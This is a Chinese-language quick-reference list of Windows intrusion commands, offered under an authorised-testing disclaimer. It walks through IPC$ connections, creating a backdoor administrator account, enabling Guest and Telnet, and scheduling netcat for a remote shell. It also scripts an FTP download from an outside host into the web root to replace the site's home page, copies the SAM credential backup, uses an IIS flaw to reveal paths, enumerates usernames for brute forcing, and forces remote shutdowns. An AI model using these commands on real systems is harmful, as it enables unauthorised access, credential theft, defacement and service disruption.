本文彙總滲透測試中高頻使用的十大命令,涵蓋建立連線、提權、側向移動、植入後門、清理痕跡全流程,適合初學者速查實戰。切記:技術無善惡,使用者有善惡。僅供授權測試與防禦研究,濫用必究。
# 建立空連線
net use \\127.0.0.1\ipc$ "123456" /user:"hbx"
# 刪除連線
net use \\127.0.0.1\ipc$ /delete
# 建立用戶並加入管理員組
net user heibai lovechina /add
net localgroup Administrators heibai /add
# 映射遠程 C 槽到本地 Z 槽
net use z: \\127.0.0.1\c$
# 啟用 Telnet 服務
net start telnet
# 啟用 Guest 帳號並修改密碼
net user guest /active:yes
net user guest lovechina
# 獲取目標時間
net time \\127.0.0.1
# 假設目標時間 12:01,建立計劃任務在 12:03 執行 nc.exe
at \\127.0.0.1 12:03 nc.exe
NC (Netcat) 為反彈 Shell 神器,監聽 99 埠,定時觸發即獲控制權。
telnet 127.0.0.1 99
直連 NC 開啟的埠口,獲得遠程命令執行環境,受控主機即「肉雞」。
# 互動模式上傳/下載
ftp> put c:\index.htm d:
ftp> get c:\index.htm d:
# 批處理腳本自動化(-s 參數)
echo open upload.chinaren.com > cnhack.txt
echo cnhack >> cnhack.txt
echo 39abs >> cnhack.txt
echo get index.htm c:\inetpub\wwwroot\index.htm >> cnhack.txt
echo bye >> cnhack.txt
ftp -s:cnhack.txt
copy index.htm \\127.0.0.1\c$\index.htm
copy index.htm \\127.0.0.1\admin$\index.htm # admin$ 指向 %SystemRoot%
反向複製系統備份數據庫(SAM):copy \\127.0.0.1\admin$\repair\sam._ c:\
利用 IIS 漏洞執行 cmd.exe /c set 獲取環境變數,關鍵字段:
PATH_TRANSLATED=E:\vlroot → 直接揭露網站物理路徑。
配合 DIR 遍歷配合瀏覽器驗證,100% 定位首頁文件名。
nbtstat -A 目標IP
輸出中 <03> 類型對應用戶名(如 PENTIUMII),配合弱口令猜解或暴力破解獲取憑證。
shutdown \\IP /t:20
20 秒後強制關機,造成業務中斷,屬破壞行為,嚴禁濫用。
配合 IPC$ 連線查看遠程目錄結構,尋找敏感文件。
# 覆蓋寫入
echo 內容 > index.htm
# 追加寫入
echo 內容 >> index.htm
# 生成 FTP 下載腳本並執行(見第 4 節)
掌握命令只是入門,真正的滲透測試需要邏輯串聯、權限維持、痕跡清理、合規報告。建議在靶場環境(如 Hack The Box、VulnHub)合法練習,將技術轉化為防禦能力。